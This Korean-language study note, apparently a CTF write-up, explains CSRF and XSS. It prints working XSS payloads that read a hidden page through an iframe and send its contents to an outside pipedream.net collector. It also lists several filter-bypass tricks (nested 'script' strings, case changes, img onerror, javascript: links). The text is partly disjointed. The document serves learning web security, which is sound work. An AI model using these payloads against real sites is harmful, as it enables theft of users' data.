사이트 간 요청 위조(또는크로스 사이트 요청 위조,:Cross-site request forgery,CSRF,XSRF)는웹사이트취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다. -위키백과-
즉 사용자가 어떠한 요청을 하도록 유도하는 것을 말하며 XSS와는 다른 취약점이다.
XSS는 데이터의 탈취 및 스크립트를 사용한 CSRF를 유도 할 수 있으며 CSRF는 사용자가 특정 행위를 하도록 유도하는 것이다.
간단한 예시로 게시판에서 XSS 취약점이 생긴다면 게시판에 악성 스크립트를 심어두어 접속한 사용자의 비밀번호를 바꾸도록 요청하는 스크립트를 실행하는 것이 있다.
1. XSS를 활용한 CSRF
GET 방식
<script>
var i = new Image();
i.src= '비밀번호 변경url/?pw=1234'
</script>
Steal Info와 동일하지만 iframe의 대상이 mypage인듯 하다. 그렇다면 Steal Info와 동일하게 진행
1. iframe으로 공격 대상 불러오기
2. iframe내부의 공격 대상이 되는 태그의 데이터를 추출한다
마이페이지의 name이 "info"인 테그의 placeholder를 찾아보자
3. dom이 완성 된 후 데이터를 불러오기
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=p123 " id="target" width="300" height="200"></iframe>
<script>
function afterLoad() {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByName("info")[0].placeholder
var i = new Image()
i.src = 'https://enbuhmg3h5bhb.x.pipedream.net/?secret'+domData
}
var i = new Image()
i.onerror = afterLoad
i.src='x'
</script>
<div>
id로 iframe을 가져오고 iframe의 contentDocument를 접근하면 iframe의 태그에 접근 할 수 있다.
스크립트가 실행중인 시점에 Dom이 모두 그려지지 않았기 때문에 "card-text"접근 시 undifined가 발생한다.
이를 해결하기 위해 img 태그 내부의 onerror함수로 넣고 src='x'로 넣게 된다면 이미지 태그는 모든 돔이 그려진 뒤 이미지를 호출 하기 때문에 "card-text"가 존재하는 시점에 스크립트가 실행된다.
Content-Disposition: form-data; name="update_body"
p123
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target" width="300" height="200"></iframe>
<script>
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
</script>
<div>
3. 데이터 전달하기
페이지에 접근 결과 urnEncoding된 데이터로 "this is a very secret info"를 확인 할 수 있다.
이제 iframe에 카피 페이지가 아닌 실제 데이터가 있는 페이지로 url을 변경하고 관리자가 접근 하도록 봇에 url을 넘겨보
mypage.html 에서 secret.php 로 iframe url을 변경
Content-Disposition: form-data; name="update_body"
p123
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target" width="300" height="200"></iframe>
<script>
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
</script>
<div>
관리자 봇에 해당 XSS가 포함된 게시물의 URL을 전달하면 Flag를 얻을 수 있다.
정리
1. iframe으로 공격 대상이 되는 페이지를 XSS가 일어날 수 있는 페이지에서 추가 삽입한다.
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
3. 스크립트의 실행 시점에 데이터가 존재하지 않느다면 onerror등을 통해 이후에 실행 하도록 한다.
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
XSS는 악성 스크립트가 실행 될 수 있도록 하는 방법으로 데이터가 DB등 서버에 저장되는 Stored XSS, URL을 기반으로 공격을 하는 Reflected XSS로 구분된다.
Stored XSS는 데이터가 서버에 저장되므로 게시판과 같은 데이터를 저장 할 수 있는 곳에서 발생 시킬 수 있으며 해당 게시글을 읽은 사용자의 브라우저(클라이언트)에서 실행된다.
Reflrected XSS는 URL의 담긴 정보가 HTML에 사용될 때 발생하며 해당 URL을 클릭한 사용자의 브라우저(클라이언트)에서 실행된다.
XSS의 방어의 우회 방법
1. 길이 제한
- Stored XSS가 가능하지만 DB의 컬럼이 길지 않을 때 사용 할 수 있다. (악성스크립트가 길다면)
미리 작성된 js 를 만들어두고 링크로 걸어둔다.
<script src='www.공격소스.js> </script>
2. script 태그를 치환하는경우
script라는 문자를 치환하여 제거하는 경우 "scrscriptipt" 문자와 같이 사용하여 가운데의 script가 공백으로 바뀌어 앞의 "scr"+"ipt"의 문자가 합쳐지도록 스크립트 태그를 구성(대문자 소문자를 casting 없이 replace할 수 있으므로 "scRipt"와 같은 방법도 사용)
3.Img 태그 사용(혹은 Event Handler 사용)
이미지 태그를 생성하고 잘못된 링크 주소를 전달하고 onerror에 악성 스크립트를 작성(onclick등 다양한 Event Handler를 사용할 수 있다.)
<img src=x onerror="alert(1)">
4.XSS in href
주소창에서 javascript 사용 가능
<a href="javascript:alert(1) > test </a>
5 XSS in javascript
<script>
// 입력값 123"; alert(1); var b ="1
var a = "123"; alert(1); var b ="1"
</script>
웹 페이지는 일종의 문서(document)다. 이 문서는 웹 브라우저를 통해 그 내용이 해석되어 웹 브라우저 화면에 나타나거나 HTML 소스 자체로 나타나기도 한다. 동일한 문서를 사용하여 이처럼 다른 형태로 나타날 수 있다는 점에 주목할 필요가 있다. DOM 은 동일한 문서를 표현하고, 저장하고, 조작하는 방법을 제공한다. DOM 은 웹 페이지의 객체 지향 표현이며, JavaScript와 같은 스크립팅 언어를 이용해 DOM 을 수정할 수 있다. -mdn web docs-
즉 DOM이란 지정된 양식을 의미하며 브라우저는 DOM의 형식으로 작성된 HTML문서를 읽어 화면으로 구성해주게 된다.